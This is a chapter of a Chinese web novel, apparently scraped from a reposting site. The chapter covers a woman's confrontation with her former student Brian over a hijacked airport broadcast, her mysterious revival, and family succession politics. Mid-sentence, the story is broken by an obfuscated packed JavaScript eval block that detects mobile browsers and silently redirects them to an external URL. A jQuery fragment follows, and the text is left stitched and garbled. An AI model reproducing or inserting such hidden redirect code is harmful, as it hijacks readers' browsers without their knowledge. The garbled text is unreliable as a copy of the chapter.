24. chapter 24

作品:《病态相依GB

    难得布莱恩没有出去瞎混,他专门来为亲爱的艾瑞丝女士接机,没想到一回家就被揪了耳朵领到了洗手间。


    “我亲爱的老师,谁又惹你生气了?”


    “厉害了?还会攻击机场的广播了?”


    白羊的力道不大,但有人戏全,那龇牙咧嘴的模样,像个小受气包一样。


    “我哪会?这不是找的人来做吗?”


    “说说,为什么要这么做?这么做对你有什么好处?你不是无利不往的吗?”


    白羊靠在洗手台上,回来后她连帽子都没摘。


    镜子倒映着布莱恩的表情,那副无所谓的模样看起来欠揍极了。


    “我觉得,我们之间是公平竞争,好友做了这么多还藏着掖着,太不厚道了。”


    “这些事不爆出来不是对你更有利吗?师兄为我做了这么多,你不会有危机感吗?”


    白羊松了布莱恩的耳朵,她摘了脸上的墨镜,看着他那双蓝眼睛。


    布莱恩显然够了解白羊。


    “你不是一个会接受道德绑架的人,而这些也对我没有一点威胁,因为喜欢是你的事,我们谁也没办法去干扰你的选择,那都不是爱。”


    “我突然发现你们这些老外都很喜欢把喜欢啊,爱的挂在嘴边,是我的错觉吗?”


    布莱恩耸了耸肩,他看向这位女士依旧年轻的脸庞,语气揶揄:“我跟老师你是一样的国籍,还分什么老外不老外的。”


    “怕我跟前夫好上?”


    布莱恩坦言:“我可以接受你师兄成为最终赢家,唯独不能接受那样一个人再次糟蹋你的感情。”


    白羊盯着布莱恩的眼睛,看他坦荡,没有一丝不甘,这才移开目光。


    “都是成年人了,少说那些喜欢啊爱的,骗骗小孩子得了,说说吧,师兄托你给我带什么话了?”


    布莱恩知道,自己厮混的行为在这位女士印象里已经改不掉了,于是他不再争辩。


    “你师兄说,他会继续查你十一年前身死的事。”


    白羊抓住布莱恩的领带,后者被迫弯下了腰。


    “哦?你们是不是早就合起伙来哄我了?”


    布莱恩举起双手,他没有挣扎,只是近距离欣赏这位女士的脸。


    果然比美貌更让人赞叹的是她的坚韧。


    “嗯哼,差不多。”


    白羊脸上笑容标准又礼貌,可却觉得额角有什么在跳。


    “请不要在讨论正事的时候发出这种声音。”


    布莱恩指着中间被揪住的领带。


    “我亲爱的老师,在您的攻势下我有些喘不过气。”


    “这还真是让人误会的话啊,休斯先生。”


    白羊松开了手中的领带。


    被这样正式地称呼,布莱恩知道,自己再说一句暧昧的话,艾瑞丝女士就真的生气了。


    他态度滑跪得很快。


    “实在抱歉,情难自禁。”


    “自重。”


    就在这时,门被拉开,进来的是布莱恩的妻子西莉亚。


    西莉亚挡在两人中间,又将布莱恩推开。


    “请自重。”


    联姻就是这样的,没有一点真情实意,这位名义上的妻子竟然将他和艾瑞丝女士隔开。


    西莉亚是个腼腆的姑娘,是他们家族不受宠的私生女,当初布莱恩说要结婚,还拿了花名册让白羊拿主意。


    对于布莱恩来说,联姻的话娶谁都是娶,还不如让老师挑个顺眼的过来。


    白羊挑了个年纪小的软柿子,金发碧眼的像个洋娃娃。


    当初布莱恩说让白羊随便挑,她还观察了这些姑娘一段时间,没想到挑哪个都一样,他一样出去厮混。


    也是因为这家话婚礼前一晚出去玩,白羊才意识到事情的敷衍性。


    “西莉亚,你可是我的妻子。”


    布莱恩语气无奈。


    西莉亚挺了胸脯挡在白羊面前。


    “修斯先生,自重。”


    布莱恩耸肩。


    “你还担心我欺负她?结婚当晚老师踹我们婚房,我还以为老师终于要教我些成人之间的事,没想到是撵我去别的地方了。”


    裤子都脱了结果就这?


    习惯了,修斯家的家主,也就是布莱恩的父亲托白羊找布莱恩时她也这样的。


    踹门揪人一气呵成。


    “老师,华国人不是都保守吗?我这都被看光多少次了你就没想着负责吗?”


    西莉亚将她的帽子墨镜披肩等各种东西拿走后掩上了卫生间的门。


    白羊不想听这混蛋胡扯。


    “你跟师兄合伙忽悠我的事还没完呢,广播里那些都什么事?”


    说起这些事,布莱恩语气无辜。


    他将师兄在她出事后买通了殡仪馆的人,将她的骨灰替换掉,然后出国去找女巫。


    这也是为什么白羊手上还有戒指,以及她为什么出现在女巫庄园的原因。


    “哦对了,其实原本女巫指定的托孤对象是你师兄,他来接人那天你们出了点事,那会儿我还没到呢,你知道的,女巫的庄园只在特定时间开启。”


    “所以开枪的是师兄?”


    白羊心里五味杂陈,有种说不出的滋味。


    “是啊,你师兄是最清楚女巫庄园的人,女巫都跟他说过,他还让我收拾一下烂摊子。”


    布莱恩这马后炮什么都说,还不忘撇清自己。


    “事先说好,都是你师兄指使我的,他原本是打算带着你的骨灰盒回国,把那个拖油瓶丢给我的,没想到女巫的巫术那么快奏效,只好改变计划。”


    “那师兄人呢?他竟然拉黑我。”


    心虚呗。


    布莱恩在心里幸灾乐祸。


    “这我就不知道了,他也没跟我联系,只说等有进展了再跟我联系。”


    熟悉的做法,冷处理。


    怕师兄骂她,白羊也就是这样等时间过去再去探望的,没想到师兄也来这一招。


    白羊总觉得不对劲,师兄认识这么多有权有势的人,甚至还和女巫有交集……他到底想做什么?


    “你们到底想做什么?”


    布莱恩觉得冤枉。


    “你该问你师兄才是,问我我也不知道。”


    复活的原因找到了,无神论的师兄找了西方女巫帮忙。


    那女巫呢?


    既然女巫可以用一堆骨灰把人复活,那她又为什么会帮师兄的忙呢?


    布莱恩被盯着,此刻艾瑞丝女士的眼神是多么灼热啊,灼热得让他有点受不住。


    如今这幅样子,布莱恩总有种自己什么都没做,反而要面临“严刑逼供”的感觉。


    “我说真的,艾瑞丝女士,我的状况你也知道,就跟您那前夫是一样的,这个继承人身份就是个面上的幌子,稍不合上面的意就会被撤掉,你那前夫就是。”


    白羊:“?”


    “傅之行不是他们家的继承人了?”


    “嗯?你不知道?按时间来算,他们傅家在七年前接回了一个十岁的男孩,现在应该已经十七了。”


    布莱恩在心里松了口气,只要不提好友那王八蛋的事,其他都能答


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098948|195031||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得上来。


    白羊这些年没关注傅之行的事,这些还真不知道。


    同样的,她也不知道这十年里傅之行自考上了大学,毕业后老老实实经营他老爸手下的一家小公司。


    混得这么惨,都让白羊认不出这是曾经风光无限的太子爷了。


    但布莱恩表示,这些都是他哥玩剩下的。


    “继承人的争斗素来是这样的,你不要有的是人要,而且,一个家族不会只有一个孩子当继承人。”


    布莱恩的话警醒了白羊。


    当初傅之行是他家独子,他的父母无限纵容他,甚至,为了拆散他们,也找白羊商量过。


    白羊心里有口气上不来下不去的。


    “继承人嘛,就是门面,只要上头还有人,在一些事上总会身不由己。”


    布莱恩宽慰她。


    “情情爱爱的没有钱和权香吗?就算做不了合法夫妻,当地下情人也不错。”


    白羊的思绪很乱。


    如果傅之行真的处于那样的处境,那当初的那些……


    布莱恩证实了白羊的猜测。


    “bingo~猜对了,要么像西莉亚那样老老实实当个花瓶,要么像艾瑞丝女士您的前夫一样丧偶,配偶意外死去家族会安排再娶,如果执意要当大情种……那我哥哥就是最好的例子。”


    “怎么?你也要当大情种?”


    家主召见布莱恩,说是华国傅氏集团提出了一项合作,点名要艾瑞丝女士来谈。


    修斯家主质问布莱恩。


    布莱恩缓缓举起手。


    “父亲,我哪敢?但这不合理吧?艾瑞丝女士明显不是我们的员工。”


    白羊也在场,不止她,尤里也在,就好像,这些话是专门对她说的一样。


    修斯家的家主今年五十多了,看起来不显老态。


    与布莱恩站在一起,不知道的还以为他们是兄弟,而不是父子。


    “我想,这应该问问艾瑞丝女士的意见。”


    修斯家主皮笑肉不笑地看着布莱恩。


    白羊看出布莱恩的为难,她想着去就去吧,自己都受人家照顾这么些年了,再让人家为难就说不过去了。


    “先生,新京的话我比较熟悉,而且我刚从那边回来,但谈判的事情我可能帮不上忙,您需要派有经验的人处理这件事。”


    “真是位识大体的女士。”


    修斯家主毫不吝啬对白羊的夸赞。


    布莱恩还想争辩些什么,可再多的话在真正掌握实权的人面前都显得单薄。


    白羊拉住他,示意他冷静。


    布莱恩嘴角挂着苦涩的笑容。


    他没想到事情的发展会是这样的,前不久他们还在谈论傅家的逆子,现在布莱恩自己都想当个逆子。


    “抱歉,艾瑞丝女士。”


    他帮不了她,他也自身难保。


    透过布莱恩,白羊好像明白了当时傅之行的处境,夹在家族,权利,亲情和利益之间,无数因素拉扯着他,明明有更好的选择,最终他还是走上了一条不归路。


    在利益的漩涡中,白羊自己也显得渺小。


    “没关系的布莱恩,我是华人,要不是签证快到期了也不会这么早回来。”


    修斯家主注意着这边,这次他对自己这个儿子所做的事非常不满意,控制华国机场的广播让他暴露了不少底牌,为了处理这个烂摊子,他们这边折损了不少人。


    “既然这么喜欢华国,那就留在那边好好玩。”


    “……”


    白羊保持着不失礼貌的笑容。